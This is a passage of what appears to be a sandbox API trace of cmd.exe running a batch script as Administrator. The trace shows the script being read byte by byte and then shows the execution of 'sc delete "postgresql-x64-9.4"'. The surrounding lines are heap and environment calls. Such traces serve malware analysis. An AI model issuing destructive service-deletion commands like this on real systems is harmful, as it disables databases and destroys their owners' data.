lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="gsql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="rql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="el$SQLEXPRESS\"\nA\"\n") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="s$SQLEXPRESS\"\nA\"\n") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="qSQLEXPRESS\"\nA\"\n") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="lQLEXPRESS\"\nA\"\n") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="-LEXPRESS\"\nA\"\n") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="xEXPRESS\"\nA\"\n") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.434] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.435] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="6XPRESS\"\nA\"\n") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.435] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="4PRESS\"\nA\"\n") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.435] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="-RESS\"\nA\"\n") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.435] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="9ESS\"\nA\"\n") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.435] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr=".SS\"\nA\"\n") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.435] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="4S\"\nA\"\n") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.436] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.436] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="\"\"\nA\"\n") returned 1 [0077.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.436] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.436] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="\n\nA\"\n") returned 1 [0077.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.436] GetFileType (hFile=0xb8) returned 0x3 [0077.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.436] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.436] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.436] GetFileType (hFile=0x120) returned 0x3 [0077.436] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"postgresql-x64-9.4\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"postgresql-x64-9.4\"\n", lpUsedDefaultChar=0x0) returned 32 [0077.436] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1f, lpOverlapped=0x0) returned 1 [0077.436] GetProcessHeap () returned 0x240000 [0077.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.436] GetProcessHeap () returned 0x240000 [0077.436] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.436] GetProcessHeap () returned 0x240000 [0077.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.436] GetProcessHeap () returned 0x240000 [0077.437] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.437] GetProcessHeap () returned 0x240000 [0077.437] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4a) returned 0x25ba10 [0077.437] GetConsoleOutputCP () returned 0x1b5 [0077.437] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.437] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.437] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.437] GetProcessHeap () returned 0x240000 [0077.437] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.437] GetProcessHeap () returned 0x240000 [0077.437] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x50) returned 0x259b30 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c590 [0077.438] SetErrorMode (uMode=0x0) returned 0x1 [0077.438] SetErrorMode (uMode=0x1) returned 0x0 [0077.438] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5a0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.438] SetErrorMode (uMode=0x1) returned 0x1 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c590, Size=0x62) returned 0x25c590 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c590) returned 0x62 [0077.438] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.438] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.438] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x2597e0 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x2597e0, Size=0x7e) returned 0x2597e0 [0077.438] GetProcessHeap () returned 0x240000 [0077.438] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2597e0) returned 0x7e [0077.438] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.439] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.439] GetLastError () returned 0x2 [0077.439] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.439] GetLastError () returned 0x2 [0077.439] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.439] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0077.439] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0077.439] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.439] GetLastError () returned 0x2 [0077.439] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0077.440] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0077.440] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.440] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.440] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.440] GetProcessHeap () returned 0x240000 [0077.440] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.440] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.440] GetProcessHeap () returned 0x240000 [0077.440] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb6) returned 0x259180 [0077.440] GetProcessHeap () returned 0x240000 [0077.440] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb6 [0077.440] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"postgresql-x64-9.4\"") returned 1 [0077.441] GetProcessHeap () returned 0x240000 [0077.441] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.441] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.441] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.441] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.441] GetProcessHeap () returned 0x240000 [0077.441] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.441] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.504] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.505] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.505] GetProcessHeap () returned 0x240000 [0077.505] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.505] GetProcessHeap () returned 0x240000 [0077.505] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.505] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"postgresql-x64-9.4\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"postgresql-x64-9.4\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"postgresql-x64-9.4\"", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x90c, dwThreadId=0x934)) returned 1 [0077.509] CloseHandle (hObject=0x54) returned 1 [0077.509] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.509] GetProcessHeap () returned 0x240000 [0077.509] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0077.509] GetEnvironmentStringsW () returned 0x25ba70* [0077.509] GetProcessHeap () returned 0x240000 [0077.509] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.509] FreeEnvironmentStringsW (penv=0x25ba70) returned 1 [0077.509] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.509] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.509] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0077.556] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.556] CloseHandle (hObject=0x50) returned 1 [0077.556] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.556] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.556] GetProcessHeap () returned 0x240000 [0077.556] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0077.556] GetEnvironmentStringsW () returned 0x261b10* [0077.556] GetProcessHeap () returned 0x240000 [0077.556] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0077.556] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.556] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.556] GetProcessHeap () returned 0x240000 [0077.556] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: 